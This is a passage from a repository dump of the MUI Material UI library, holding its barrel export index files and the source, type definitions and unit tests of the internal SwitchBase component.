'./TableSortLabel';\n\nexport { default as Tabs } from './Tabs';\nexport * from './Tabs';\n\nexport { default as TabScrollButton } from './TabScrollButton';\nexport * from './TabScrollButton';\n\nexport { default as TextField } from './TextField';\nexport * from './TextField';\n\nexport { default as TextareaAutosize } from './TextareaAutosize';\nexport * from './TextareaAutosize';\n\nexport { default as ToggleButton } from './ToggleButton';\nexport * from './ToggleButton';\n\nexport { default as ToggleButtonGroup } from './ToggleButtonGroup';\nexport * from './ToggleButtonGroup';\n\nexport { default as Toolbar } from './Toolbar';\nexport * from './Toolbar';\n\nexport { default as Tooltip } from './Tooltip';\nexport * from './Tooltip';\n\nexport { default as Typography } from './Typography';\nexport * from './Typography';\n\nexport { default as useMediaQuery } from './useMediaQuery';\nexport * from './useMediaQuery';\n\nexport { default as useScrollTrigger } from './useScrollTrigger';\nexport * from './useScrollTrigger';\n\nexport { default as Zoom } from './Zoom';\nexport * from './Zoom';\n\nexport { default as useAutocomplete } from './useAutocomplete';\nexport * from './useAutocomplete';\n\nexport { default as GlobalStyles } from './GlobalStyles';\nexport * from './GlobalStyles';\n\nexport * from './version';\n\nexport { default as unstable_composeClasses } from '@mui/utils/composeClasses';\n\nexport { default as generateUtilityClass } from './generateUtilityClass';\nexport * from './generateUtilityClass';\n\nexport { default as generateUtilityClasses } from './generateUtilityClasses';\n\nexport { default as Unstable_TrapFocus } from './Unstable_TrapFocus';\nexport * from './Unstable_TrapFocus';\n\nexport { default as InitColorSchemeScript } from './InitColorSchemeScript';\n"
  },
  {
    "path": "packages/mui-material/src/index.js",
    "content": "/* eslint-disable import/export */\nimport * as colors from './colors';\n\nexport { colors };\nexport * from './styles';\n\n// TODO remove, import directly from Base UI or create one folder per module\nexport * from './utils';\n\nexport { default as Accordion } from './Accordion';\nexport * from './Accordion';\n\nexport { default as AccordionActions } from './AccordionActions';\nexport * from './AccordionActions';\n\nexport { default as AccordionDetails } from './AccordionDetails';\nexport * from './AccordionDetails';\n\nexport { default as AccordionSummary } from './AccordionSummary';\nexport * from './AccordionSummary';\n\nexport { default as Alert } from './Alert';\nexport * from './Alert';\n\nexport { default as AlertTitle } from './AlertTitle';\nexport * from './AlertTitle';\n\nexport { default as AppBar } from './AppBar';\nexport * from './AppBar';\n\nexport { default as Autocomplete } from './Autocomplete';\nexport * from './Autocomplete';\n\nexport { default as Avatar } from './Avatar';\nexport * from './Avatar';\n\nexport { default as AvatarGroup } from './AvatarGroup';\nexport * from './AvatarGroup';\n\nexport { default as Backdrop } from './Backdrop';\nexport * from './Backdrop';\n\nexport { default as Badge } from './Badge';\nexport * from './Badge';\n\nexport { default as BottomNavigation } from './BottomNavigation';\nexport * from './BottomNavigation';\n\nexport { default as BottomNavigationAction } from './BottomNavigationAction';\nexport * from './BottomNavigationAction';\n\nexport { default as Box } from './Box';\nexport * from './Box';\n\nexport { default as Breadcrumbs } from './Breadcrumbs';\nexport * from './Breadcrumbs';\n\nexport { default as Button } from './Button';\nexport * from './Button';\n\nexport { default as ButtonBase } from './ButtonBase';\nexport * from './ButtonBase';\n\nexport { default as ButtonGroup } from './ButtonGroup';\nexport * from './ButtonGroup';\n\nexport { default as Card } from './Card';\nexport * from './Card';\n\nexport { default as CardActionArea } from './CardActionArea';\nexport * from './CardActionArea';\n\nexport { default as CardActions } from './CardActions';\nexport * from './CardActions';\n\nexport { default as CardContent } from './CardContent';\nexport * from './CardContent';\n\nexport { default as CardHeader } from './CardHeader';\nexport * from './CardHeader';\n\nexport { default as CardMedia } from './CardMedia';\nexport * from './CardMedia';\n\nexport { default as Checkbox } from './Checkbox';\nexport * from './Checkbox';\n\nexport { default as Chip } from './Chip';\nexport * from './Chip';\n\nexport { default as CircularProgress } from './CircularProgress';\nexport * from './CircularProgress';\n\nexport { default as ClickAwayListener } from './ClickAwayListener';\nexport * from './ClickAwayListener';\n\nexport { default as Collapse } from './Collapse';\nexport * from './Collapse';\n\nexport { default as Container } from './Container';\nexport * from './Container';\n\nexport { default as CssBaseline } from './CssBaseline';\nexport * from './CssBaseline';\n\nexport { default as darkScrollbar } from './darkScrollbar';\nexport * from './darkScrollbar';\n\nexport { default as Dialog } from './Dialog';\nexport * from './Dialog';\n\nexport { default as DialogActions } from './DialogActions';\nexport * from './DialogActions';\n\nexport { default as DialogContent } from './DialogContent';\nexport * from './DialogContent';\n\nexport { default as DialogContentText } from './DialogContentText';\nexport * from './DialogContentText';\n\nexport { default as DialogTitle } from './DialogTitle';\nexport * from './DialogTitle';\n\nexport { default as Divider } from './Divider';\nexport * from './Divider';\n\nexport { default as Drawer } from './Drawer';\nexport * from './Drawer';\n\nexport { default as Fab } from './Fab';\nexport * from './Fab';\n\nexport { default as Fade } from './Fade';\nexport * from './Fade';\n\nexport { default as FilledInput } from './FilledInput';\nexport * from './FilledInput';\n\nexport { default as FormControl } from './FormControl';\nexport * from './FormControl';\n\nexport { default as FormControlLabel } from './FormControlLabel';\nexport * from './FormControlLabel';\n\nexport { default as FormGroup } from './FormGroup';\nexport * from './FormGroup';\n\nexport { default as FormHelperText } from './FormHelperText';\nexport * from './FormHelperText';\n\nexport { default as FormLabel } from './FormLabel';\nexport * from './FormLabel';\n\nexport { default as Grid } from './Grid';\nexport * from './Grid';\n\nexport { default as Grow } from './Grow';\nexport * from './Grow';\n\nexport { default as Icon } from './Icon';\nexport * from './Icon';\n\nexport { default as IconButton } from './IconButton';\nexport * from './IconButton';\n\nexport { default as ImageList } from './ImageList';\nexport * from './ImageList';\n\nexport { default as ImageListItem } from './ImageListItem';\nexport * from './ImageListItem';\n\nexport { default as ImageListItemBar } from './ImageListItemBar';\nexport * from './ImageListItemBar';\n\nexport { default as Input } from './Input';\nexport * from './Input';\n\nexport { default as InputAdornment } from './InputAdornment';\nexport * from './InputAdornment';\n\nexport { default as InputBase } from './InputBase';\nexport * from './InputBase';\n\nexport { default as InputLabel } from './InputLabel';\nexport * from './InputLabel';\n\nexport { default as LinearProgress } from './LinearProgress';\nexport * from './LinearProgress';\n\nexport { default as Link } from './Link';\nexport * from './Link';\n\nexport { default as List } from './List';\nexport * from './List';\n\nexport { default as ListItem } from './ListItem';\nexport * from './ListItem';\n\nexport { default as ListItemAvatar } from './ListItemAvatar';\nexport * from './ListItemAvatar';\n\nexport { default as ListItemButton } from './ListItemButton';\nexport * from './ListItemButton';\n\nexport { default as ListItemIcon } from './ListItemIcon';\nexport * from './ListItemIcon';\n\nexport { default as ListItemSecondaryAction } from './ListItemSecondaryAction';\nexport * from './ListItemSecondaryAction';\n\nexport { default as ListItemText } from './ListItemText';\nexport * from './ListItemText';\n\nexport { default as ListSubheader } from './ListSubheader';\nexport * from './ListSubheader';\n\nexport { default as Menu } from './Menu';\nexport * from './Menu';\n\nexport { default as MenuItem } from './MenuItem';\nexport * from './MenuItem';\n\nexport { default as MenuList } from './MenuList';\nexport * from './MenuList';\n\nexport { default as MobileStepper } from './MobileStepper';\nexport * from './MobileStepper';\n\nexport { default as Modal } from './Modal';\nexport * from './Modal';\n\nexport { default as NativeSelect } from './NativeSelect';\nexport * from './NativeSelect';\n\nexport { default as NoSsr } from './NoSsr';\nexport * from './NoSsr';\n\nexport { default as OutlinedInput } from './OutlinedInput';\nexport * from './OutlinedInput';\n\nexport { default as Pagination } from './Pagination';\nexport * from './Pagination';\n\nexport { default as PaginationItem } from './PaginationItem';\nexport * from './PaginationItem';\n\nexport { default as Paper } from './Paper';\nexport * from './Paper';\n\nexport { default as Popover } from './Popover';\nexport * from './Popover';\n\nexport { default as Popper } from './Popper';\nexport * from './Popper';\n\nexport { default as Portal } from './Portal';\nexport * from './Portal';\n\nexport { default as Radio } from './Radio';\nexport * from './Radio';\n\nexport { default as RadioGroup } from './RadioGroup';\nexport * from './RadioGroup';\n\nexport { default as Rating } from './Rating';\nexport * from './Rating';\n\nexport { default as ScopedCssBaseline } from './ScopedCssBaseline';\nexport * from './ScopedCssBaseline';\n\nexport { default as Select } from './Select';\nexport * from './Select';\n\nexport { default as Skeleton } from './Skeleton';\nexport * from './Skeleton';\n\nexport { default as Slide } from './Slide';\nexport * from './Slide';\n\nexport { default as Slider } from './Slider';\nexport * from './Slider';\n\nexport { default as Snackbar } from './Snackbar';\nexport * from './Snackbar';\n\nexport { default as SnackbarContent } from './SnackbarContent';\nexport * from './SnackbarContent';\n\nexport { default as SpeedDial } from './SpeedDial';\nexport * from './SpeedDial';\n\nexport { default as SpeedDialAction } from './SpeedDialAction';\nexport * from './SpeedDialAction';\n\nexport { default as SpeedDialIcon } from './SpeedDialIcon';\nexport * from './SpeedDialIcon';\n\nexport { default as Stack } from './Stack';\nexport * from './Stack';\n\nexport { default as Step } from './Step';\nexport * from './Step';\n\nexport { default as StepButton } from './StepButton';\nexport * from './StepButton';\n\nexport { default as StepConnector } from './StepConnector';\nexport * from './StepConnector';\n\nexport { default as StepContent } from './StepContent';\nexport * from './StepContent';\n\nexport { default as StepIcon } from './StepIcon';\nexport * from './StepIcon';\n\nexport { default as StepLabel } from './StepLabel';\nexport * from './StepLabel';\n\nexport { default as Stepper } from './Stepper';\nexport * from './Stepper';\n\nexport { default as SvgIcon } from './SvgIcon';\nexport * from './SvgIcon';\n\nexport { default as SwipeableDrawer } from './SwipeableDrawer';\nexport * from './SwipeableDrawer';\n\nexport { default as Switch } from './Switch';\nexport * from './Switch';\n\nexport { default as Tab } from './Tab';\nexport * from './Tab';\n\nexport { default as Table } from './Table';\nexport * from './Table';\n\nexport { default as TableBody } from './TableBody';\nexport * from './TableBody';\n\nexport { default as TableCell } from './TableCell';\nexport * from './TableCell';\n\nexport { default as TableContainer } from './TableContainer';\nexport * from './TableContainer';\n\nexport { default as TableFooter } from './TableFooter';\nexport * from './TableFooter';\n\nexport { default as TableHead } from './TableHead';\nexport * from './TableHead';\n\nexport { default as TablePagination } from './TablePagination';\nexport * from './TablePagination';\n\nexport { default as TablePaginationActions } from './TablePaginationActions';\nexport * from './TablePaginationActions';\n\nexport { default as TableRow } from './TableRow';\nexport * from './TableRow';\n\nexport { default as TableSortLabel } from './TableSortLabel';\nexport * from './TableSortLabel';\n\nexport { default as Tabs } from './Tabs';\nexport * from './Tabs';\n\nexport { default as TabScrollButton } from './TabScrollButton';\nexport * from './TabScrollButton';\n\nexport { default as TextField } from './TextField';\nexport * from './TextField';\n\nexport { default as TextareaAutosize } from './TextareaAutosize';\nexport * from './TextareaAutosize';\n\nexport { default as ToggleButton } from './ToggleButton';\nexport * from './ToggleButton';\n\nexport { default as ToggleButtonGroup } from './ToggleButtonGroup';\nexport * from './ToggleButtonGroup';\n\nexport { default as Toolbar } from './Toolbar';\nexport * from './Toolbar';\n\nexport { default as Tooltip } from './Tooltip';\nexport * from './Tooltip';\n\nexport { default as Typography } from './Typography';\nexport * from './Typography';\n\nexport { default as useMediaQuery } from './useMediaQuery';\nexport * from './useMediaQuery';\n\nexport { default as usePagination } from './usePagination';\nexport * from './usePagination';\n\nexport { default as useScrollTrigger } from './useScrollTrigger';\nexport * from './useScrollTrigger';\n\nexport { default as Zoom } from './Zoom';\nexport * from './Zoom';\n\n// createFilterOptions is exported from Autocomplete\nexport { default as useAutocomplete } from './useAutocomplete';\n\nexport { default as GlobalStyles } from './GlobalStyles';\nexport * from './GlobalStyles';\n\nexport { default as unstable_composeClasses } from '@mui/utils/composeClasses';\n\nexport { default as generateUtilityClass } from './generateUtilityClass';\nexport * from './generateUtilityClass';\n\nexport { default as generateUtilityClasses } from './generateUtilityClasses';\n\nexport { default as Unstable_TrapFocus } from './Unstable_TrapFocus';\n\nexport * from './version';\n\nexport { default as InitColorSchemeScript } from './InitColorSchemeScript';\n"
  },
  {
    "path": "packages/mui-material/src/index.test.js",
    "content": "/* eslint import/namespace: ['error', { allowComputed: true }] */\n/**\n * Important: This test also serves as a point to\n * import the entire lib for coverage reporting\n */\nimport { expect } from 'chai';\nimport * as MaterialUI from './index';\n\n// To skip them in the undefined exports test\n// These are checked in the build process (scripts/build.mjs)\nconst versionExports = ['version', 'major', 'minor', 'patch', 'prerelease'];\n\ndescribe('material-ui', () => {\n  it('should have exports', () => {\n    expect(typeof MaterialUI).to.equal('object');\n  });\n\n  it('should not have undefined exports', () => {\n    Object.keys(MaterialUI)\n      .filter((exportKey) => !versionExports.includes(exportKey))\n      .forEach((exportKey) => expect(Boolean(MaterialUI[exportKey])).to.equal(true));\n  });\n\n  it('should reexport certain members from @mui/base', () => {\n    const expectedReexports = [\n      'ClickAwayListener',\n      'generateUtilityClass',\n      'generateUtilityClasses',\n      'NoSsr',\n      'Portal',\n      'TextareaAutosize',\n      'unstable_composeClasses',\n    ];\n\n    const exportedNames = Object.keys(MaterialUI);\n\n    expectedReexports.forEach((reexport) => expect(exportedNames).to.contain(reexport));\n  });\n});\n"
  },
  {
    "path": "packages/mui-material/src/internal/SwitchBase.d.ts",
    "content": "import * as React from 'react';\nimport { InternalStandardProps as StandardProps } from '.';\nimport { ButtonBaseProps } from '../ButtonBase';\nimport { SwitchBaseClasses } from './switchBaseClasses';\nimport { CreateSlotsAndSlotProps, SlotProps } from '../utils/types';\n\ninterface SwitchBaseSlots {\n  /**\n   * The component that renders the root slot.\n   * @default ButtonBase\n   */\n  root: React.ElementType;\n  /**\n   * The component that renders the input slot.\n   * @default 'input'\n   */\n  input: React.ElementType;\n}\n\ntype SwitchBaseSlotsAndSlotProps = CreateSlotsAndSlotProps<\n  SwitchBaseSlots,\n  {\n    /**\n     * Props forwarded to the root slot.\n     * By default, the available props are based on the [ButtonBase](https://mui.com/material-ui/api/button-base/#props) component.\n     */\n    root: SlotProps<\n      React.ElementType<Omit<ButtonBaseProps, 'nativeButton'>>,\n      {},\n      SwitchBaseOwnerState\n    >;\n    /**\n     * Props forwarded to the input slot.\n     */\n    input: SlotProps<'input', {}, SwitchBaseOwnerState>;\n  }\n>;\n\nexport interface SwitchBaseProps\n  extends\n    StandardProps<\n      Omit<ButtonBaseProps, 'nativeButton'>,\n      'children' | 'onChange' | 'type' | 'value'\n    >,\n    SwitchBaseSlotsAndSlotProps {\n  autoFocus?: boolean | undefined;\n  /**\n   * If `true`, the component is checked.\n   */\n  checked?: boolean | undefined;\n  checkedIcon: React.ReactNode;\n  /**\n   * Override or extend the styles applied to the component.\n   */\n  classes?: Partial<SwitchBaseClasses> | undefined;\n  /**\n   * The default checked state. Use when the component is not controlled.\n   */\n  defaultChecked?: boolean | undefined;\n  /**\n   * If `true`, the component is disabled.\n   */\n  disabled?: boolean | undefined;\n  /**\n   * If `true`, the ripple effect is disabled.\n   * @default false\n   */\n  disableRipple?: boolean | undefined;\n  /**\n   * If `true`, the  keyboard focus ripple is disabled.\n   * @default false\n   */\n  disableFocusRipple?: boolean | undefined;\n  /**\n   * If given, uses a negative margin to counteract the padding on one\n   * side (this is often helpful for aligning the left or right\n   * side of the icon with content above or below, without ruining the border\n   * size and shape).\n   * @default false\n   */\n  edge?: 'start' | 'end' | false | undefined;\n  icon: React.ReactNode;\n  /**\n   * The id of the `input` element.\n   */\n  id?: string | undefined;\n  /**\n   * Name attribute of the `input` element.\n   */\n  name?: string | undefined;\n  /**\n   * Callback fired when the state is changed.\n   *\n   * @param {React.ChangeEvent<HTMLInputElement>} event The event source of the callback.\n   * You can pull out the new value by accessing `event.target.value` (string).\n   * You can pull out the new checked state by accessing `event.target.checked` (boolean).\n   */\n  onChange?: ((event: React.ChangeEvent<HTMLInputElement>, checked: boolean) => void) | undefined;\n  readOnly?: boolean | undefined;\n  /**\n   * If `true`, the `input` element is required.\n   * @default false\n   */\n  required?: boolean | undefined;\n  tabIndex?: number | undefined;\n  type?: React.InputHTMLAttributes<HTMLInputElement>['type'] | undefined;\n  /**\n   * The value of the component. The DOM API casts this to a string.\n   */\n  value?: unknown;\n}\n\nexport interface SwitchBaseOwnerState extends Omit<SwitchBaseProps, 'slots' | 'slotProps'> {}\n\ndeclare const SwitchBase: React.JSXElementConstructor<SwitchBaseProps>;\n\nexport default SwitchBase;\n"
  },
  {
    "path": "packages/mui-material/src/internal/SwitchBase.js",
    "content": "'use client';\nimport * as React from 'react';\nimport PropTypes from 'prop-types';\nimport composeClasses from '@mui/utils/composeClasses';\nimport capitalize from '../utils/capitalize';\nimport rootShouldForwardProp from '../styles/rootShouldForwardProp';\nimport { styled } from '../zero-styled';\nimport useControlled from '../utils/useControlled';\nimport useFormControl from '../FormControl/useFormControl';\nimport ButtonBase from '../ButtonBase';\nimport { getSwitchBaseUtilityClass } from './switchBaseClasses';\nimport useSlot from '../utils/useSlot';\n\nconst useUtilityClasses = (ownerState) => {\n  const { classes, checked, disabled, edge } = ownerState;\n\n  const slots = {\n    root: ['root', checked && 'checked', disabled && 'disabled', edge && `edge${capitalize(edge)}`],\n    input: ['input'],\n  };\n\n  return composeClasses(slots, getSwitchBaseUtilityClass, classes);\n};\n\nconst SwitchBaseRoot = styled(ButtonBase, {\n  name: 'MuiSwitchBase',\n})({\n  padding: 9,\n  borderRadius: '50%',\n  variants: [\n    {\n      props: {\n        edge: 'start',\n        size: 'small',\n      },\n      style: {\n        marginLeft: -3,\n      },\n    },\n    {\n      props: ({ edge, ownerState }) => edge === 'start' && ownerState.size !== 'small',\n      style: {\n        marginLeft: -12,\n      },\n    },\n    {\n      props: {\n        edge: 'end',\n        size: 'small',\n      },\n      style: {\n        marginRight: -3,\n      },\n    },\n    {\n      props: ({ edge, ownerState }) => edge === 'end' && ownerState.size !== 'small',\n      style: {\n        marginRight: -12,\n      },\n    },\n  ],\n});\n\nconst SwitchBaseInput = styled('input', {\n  name: 'MuiSwitchBase',\n  shouldForwardProp: rootShouldForwardProp,\n})({\n  cursor: 'inherit',\n  position: 'absolute',\n  opacity: 0,\n  width: '100%',\n  height: '100%',\n  top: 0,\n  left: 0,\n  margin: 0,\n  padding: 0,\n  zIndex: 1,\n});\n\n/**\n * @ignore - internal component.\n */\nconst SwitchBase = React.forwardRef(function SwitchBase(props, ref) {\n  const {\n    autoFocus,\n    checked: checkedProp,\n    checkedIcon,\n    defaultChecked,\n    disabled: disabledProp,\n    disableFocusRipple = false,\n    edge = false,\n    icon,\n    id,\n    name,\n    onBlur,\n    onChange,\n    onFocus,\n    readOnly,\n    required = false,\n    tabIndex,\n    type,\n    value,\n    slots = {},\n    slotProps = {},\n    ...other\n  } = props;\n  const { nativeButton, ...buttonBaseProps } = other;\n  const [checked, setCheckedState] = useControlled({\n    controlled: checkedProp,\n    default: Boolean(defaultChecked),\n    name: 'SwitchBase',\n    state: 'checked',\n  });\n\n  const muiFormControl = useFormControl();\n\n  const handleFocus = (event) => {\n    if (onFocus) {\n      onFocus(event);\n    }\n\n    if (muiFormControl && muiFormControl.onFocus) {\n      muiFormControl.onFocus(event);\n    }\n  };\n\n  const handleBlur = (event) => {\n    if (onBlur) {\n      onBlur(event);\n    }\n\n    if (muiFormControl && muiFormControl.onBlur) {\n      muiFormControl.onBlur(event);\n    }\n  };\n\n  const handleInputChange = (event) => {\n    // Workaround for https://github.com/facebook/react/issues/9023\n    if (event.nativeEvent.defaultPrevented || readOnly) {\n      return;\n    }\n\n    const newChecked = event.target.checked;\n\n    setCheckedState(newChecked);\n\n    if (onChange) {\n      // TODO v6: remove the second argument.\n      onChange(event, newChecked);\n    }\n  };\n\n  let disabled = disabledProp;\n\n  if (muiFormControl) {\n    if (typeof disabled === 'undefined') {\n      disabled = muiFormControl.disabled;\n    }\n  }\n\n  const hasLabelFor = type === 'checkbox' || type === 'radio';\n\n  const ownerState = {\n    ...props,\n    checked,\n    disabled,\n    disableFocusRipple,\n    edge,\n  };\n\n  const classes = useUtilityClasses(ownerState);\n\n  const externalForwardedProps = {\n    slots,\n    slotProps,\n  };\n\n  const [RootSlot, rootSlotProps] = useSlot('root', {\n    ref,\n    elementType: SwitchBaseRoot,\n    className: classes.root,\n    shouldForwardComponentProp: true,\n    externalForwardedProps: {\n      ...externalForwardedProps,\n      component: 'span',\n      ...buttonBaseProps,\n    },\n    getSlotProps: (handlers) => ({\n      ...handlers,\n      onFocus: (event) => {\n        handlers.onFocus?.(event);\n        handleFocus(event);\n      },\n      onBlur: (event) => {\n        handlers.onBlur?.(event);\n        handleBlur(event);\n      },\n    }),\n    ownerState,\n    additionalProps: {\n      centerRipple: true,\n      focusRipple: !disableFocusRipple,\n      role: undefined,\n      tabIndex: null,\n    },\n  });\n\n  const [InputSlot, inputSlotProps] = useSlot('input', {\n    elementType: SwitchBaseInput,\n    className: classes.input,\n    externalForwardedProps,\n    getSlotProps: (handlers) => ({\n      ...handlers,\n      onChange: (event) => {\n        handlers.onChange?.(event);\n        handleInputChange(event);\n      },\n    }),\n    ownerState,\n    additionalProps: {\n      autoFocus,\n      checked: checkedProp,\n      defaultChecked,\n      disabled,\n      id: hasLabelFor ? id : undefined,\n      name,\n      readOnly,\n      required,\n      tabIndex,\n      type,\n      ...(type === 'checkbox' && value === undefined ? {} : { value }),\n    },\n  });\n\n  return (\n    <RootSlot {...rootSlotProps}>\n      <InputSlot {...inputSlotProps} />\n      {checked ? checkedIcon : icon}\n    </RootSlot>\n  );\n});\n\n// NB: If changed, please update Checkbox, Switch and Radio\n// so that the API documentation is updated.\nSwitchBase.propTypes = {\n  /**\n   * If `true`, the `input` element is focused during the first mount.\n   */\n  autoFocus: PropTypes.bool,\n  /**\n   * If `true`, the component is checked.\n   */\n  checked: PropTypes.bool,\n  /**\n   * The icon to display when the component is checked.\n   */\n  checkedIcon: PropTypes.node.isRequired,\n  /**\n   * Override or extend the styles applied to the component.\n   */\n  classes: PropTypes.object,\n  /**\n   * @ignore\n   */\n  className: PropTypes.string,\n  /**\n   * @ignore\n   */\n  defaultChecked: PropTypes.bool,\n  /**\n   * If `true`, the component is disabled.\n   */\n  disabled: PropTypes.bool,\n  /**\n   * If `true`, the  keyboard focus ripple is disabled.\n   * @default false\n   */\n  disableFocusRipple: PropTypes.bool,\n  /**\n   * If given, uses a negative margin to counteract the padding on one\n   * side (this is often helpful for aligning the left or right\n   * side of the icon with content above or below, without ruining the border\n   * size and shape).\n   * @default false\n   */\n  edge: PropTypes.oneOf(['end', 'start', false]),\n  /**\n   * The icon to display when the component is unchecked.\n   */\n  icon: PropTypes.node.isRequired,\n  /**\n   * The id of the `input` element.\n   */\n  id: PropTypes.string,\n  /*\n   * @ignore\n   */\n  name: PropTypes.string,\n  /**\n   * @ignore\n   */\n  onBlur: PropTypes.func,\n  /**\n   * Callback fired when the state is changed.\n   *\n   * @param {object} event The event source of the callback.\n   * You can pull out the new checked state by accessing `event.target.checked` (boolean).\n   */\n  onChange: PropTypes.func,\n  /**\n   * @ignore\n   */\n  onFocus: PropTypes.func,\n  /**\n   * It prevents the user from changing the value of the field\n   * (not from interacting with the field).\n   */\n  readOnly: PropTypes.bool,\n  /**\n   * If `true`, the `input` element is required.\n   */\n  required: PropTypes.bool,\n  /**\n   * The props used for each slot inside.\n   * @default {}\n   */\n  slotProps: PropTypes.shape({\n    input: PropTypes.oneOfType([PropTypes.func, PropTypes.object]),\n    root: PropTypes.oneOfType([PropTypes.func, PropTypes.object]),\n  }),\n  /**\n   * The components used for each slot inside.\n   * @default {}\n   */\n  slots: PropTypes.shape({\n    input: PropTypes.elementType,\n    root: PropTypes.elementType,\n  }),\n  /**\n   * The system prop that allows defining system overrides as well as additional CSS styles.\n   */\n  sx: PropTypes.object,\n  /**\n   * @ignore\n   */\n  tabIndex: PropTypes.oneOfType([PropTypes.number, PropTypes.string]),\n  /**\n   * The input component prop `type`.\n   */\n  type: PropTypes.string.isRequired,\n  /**\n   * The value of the component.\n   */\n  value: PropTypes.any,\n};\n\nexport default SwitchBase;\n"
  },
  {
    "path": "packages/mui-material/src/internal/SwitchBase.test.js",
    "content": "import * as React from 'react';\nimport { expect } from 'chai';\nimport { spy } from 'sinon';\nimport { act, createRenderer, reactMajor, screen, fireEvent } from '@mui/internal-test-utils';\nimport SwitchBase from './SwitchBase';\nimport FormControl, { useFormControl } from '../FormControl';\nimport ButtonBase from '../ButtonBase';\nimport classes from './switchBaseClasses';\nimport describeConformance from '../../test/describeConformance';\nimport * as ripple from '../../test/ripple';\n\ndescribe('<SwitchBase />', () => {\n  const { render } = createRenderer();\n\n  function CustomRoot({ centerRipple, focusRipple, ownerState, ...props }) {\n    return <div {...props} />;\n  }\n\n  describeConformance(\n    <SwitchBase checkedIcon=\"checked\" icon=\"unchecked\" type=\"checkbox\" />,\n    () => ({\n      classes,\n      inheritComponent: ButtonBase,\n      render,\n      refInstanceof: window.HTMLSpanElement,\n      testComponentPropWith: 'div',\n      testVariantProps: { disabled: true },\n      slots: {\n        root: {\n          expectedClassName: classes.root,\n          testWithElement: CustomRoot,\n        },\n        input: {\n          expectedClassName: classes.input,\n        },\n      },\n      skip: ['themeDefaultProps', 'themeStyleOverrides', 'themeVariants'],\n    }),\n  );\n\n  it('should render a span', () => {\n    const { container } = render(\n      <SwitchBase checkedIcon=\"checked\" icon=\"unchecked\" type=\"checkbox\" />,\n    );\n\n    expect(container.firstChild).to.have.property('nodeName', 'SPAN');\n  });\n\n  it('should render an icon and input inside the button by default', () => {\n    const { container } = render(\n      <SwitchBase checkedIcon=\"checked\" icon=\"unchecked\" type=\"checkbox\" />,\n    );\n    const buttonInside = container.firstChild;\n\n    expect(buttonInside).to.have.property('nodeName', 'SPAN');\n    expect(buttonInside.childNodes[0]).to.equal(screen.getByRole('checkbox'));\n    expect(buttonInside.childNodes[1]).to.have.text('unchecked');\n  });\n\n  it('should have a ripple', async () => {\n    const { container } = render(\n      <SwitchBase\n        checkedIcon=\"checked\"\n        icon=\"unchecked\"\n        type=\"checkbox\"\n        TouchRippleProps={{ 'data-testid': 'TouchRipple' }}\n      />,\n    );\n\n    await ripple.startTouch(container.querySelector('input'));\n\n    expect(screen.getByTestId('TouchRipple')).not.to.equal(null);\n  });\n\n  it('can have edge', () => {\n    const { container } = render(\n      <SwitchBase edge=\"start\" icon=\"unchecked\" checkedIcon=\"checked\" type=\"checkbox\" />,\n    );\n\n    expect(container.firstChild).to.have.class(classes.edgeStart);\n  });\n\n  it('can disable the ripple', async () => {\n    const { container } = render(\n      <SwitchBase\n        checkedIcon=\"checked\"\n        icon=\"unchecked\"\n        type=\"checkbox\"\n        disableRipple\n        TouchRippleProps={{ 'data-testid': 'TouchRipple' }}\n      />,\n    );\n\n    await ripple.startTouch(container.querySelector('input'));\n\n    expect(screen.queryByTestId('TouchRipple')).to.equal(null);\n  });\n\n  it('should pass tabIndex to the input so it can be taken out of focus rotation', () => {\n    render(<SwitchBase icon=\"unchecked\" checkedIcon=\"checked\" type=\"checkbox\" tabIndex={-1} />);\n\n    expect(screen.getByRole('checkbox')).to.have.attribute('tabIndex', '-1');\n  });\n\n  it('should pass value, and name to the input', () => {\n    render(\n      <SwitchBase\n        icon=\"unchecked\"\n        checkedIcon=\"checked\"\n        type=\"checkbox\"\n        name=\"gender\"\n        disabled\n        value=\"male\"\n      />,\n    );\n\n    const input = screen.getByRole('checkbox');\n\n    expect(input).to.have.attribute('name', 'gender');\n    expect(input).to.have.attribute('value', 'male');\n  });\n\n  describe('prop: disabled', () => {\n    it('disables the component', () => {\n      render(\n        <SwitchBase\n          data-testid=\"test\"\n          icon=\"unchecked\"\n          checkedIcon=\"checked\"\n          type=\"checkbox\"\n          disabled\n        />,\n      );\n\n      const inputEl = screen.getByRole('checkbox');\n      expect(inputEl).to.not.have.attribute('checked');\n\n      fireEvent.click(inputEl);\n      expect(inputEl).to.not.have.attribute('checked');\n\n      fireEvent.click(screen.getByTestId('test'));\n      expect(inputEl).to.not.have.attribute('checked');\n    });\n\n    it('sets the disabled attribute and className', () => {\n      render(\n        <SwitchBase\n          data-testid=\"test\"\n          icon=\"unchecked\"\n          checkedIcon=\"checked\"\n          type=\"checkbox\"\n          disabled\n        />,\n      );\n\n      expect(screen.getByRole('checkbox')).to.have.attribute('disabled');\n      expect(screen.getByTestId('test')).to.have.class(classes.disabled);\n    });\n  });\n\n  describe('controlled', () => {\n    it('should check the checkbox', () => {\n      const { container, setProps } = render(\n        <SwitchBase\n          icon=\"unchecked\"\n          checkedIcon={<span data-testid=\"checked-icon\" />}\n          type=\"checkbox\"\n          checked={false}\n        />,\n      );\n      setProps({ checked: true });\n\n      expect(container.firstChild).to.have.class(classes.checked);\n      expect(screen.getByRole('checkbox')).to.have.property('checked', true);\n      expect(screen.getByTestId('checked-icon')).not.to.equal(null);\n    });\n\n    it('should uncheck the checkbox', () => {\n      const { container, setProps } = render(\n        <SwitchBase\n          icon={<span data-testid=\"unchecked-icon\" />}\n          checkedIcon=\"checked\"\n          type=\"checkbox\"\n          checked\n        />,\n      );\n      setProps({ checked: false });\n\n      expect(container.firstChild).not.to.have.class(classes.checked);\n      expect(screen.getByRole('checkbox')).to.have.property('checked', false);\n      expect(screen.getByTestId('unchecked-icon')).not.to.equal(null);\n    });\n  });\n\n  it('can change checked state uncontrolled starting from defaultChecked', () => {\n    const { container } = render(\n      <SwitchBase\n        icon={<span data-testid=\"unchecked-icon\" />}\n        checkedIcon={<span data-testid=\"checked-icon\" />}\n        type=\"checkbox\"\n        defaultChecked\n      />,\n    );\n    const checkbox = screen.getByRole('checkbox');\n\n    expect(container.firstChild).to.have.class(classes.checked);\n    expect(checkbox).to.have.property('checked', true);\n    expect(screen.getByTestId('checked-icon')).not.to.equal(null);\n\n    act(() => {\n      checkbox.click();\n    });\n\n    expect(container.firstChild).not.to.have.class(classes.checked);\n    expect(checkbox).to.have.property('checked', false);\n    expect(screen.getByTestId('unchecked-icon')).not.to.equal(null);\n\n    act(() => {\n      checkbox.click();\n    });\n\n    expect(container.firstChild).to.have.class(classes.checked);\n    expect(checkbox).to.have.property('checked', true);\n    expect(screen.getByTestId('checked-icon')).not.to.equal(null);\n  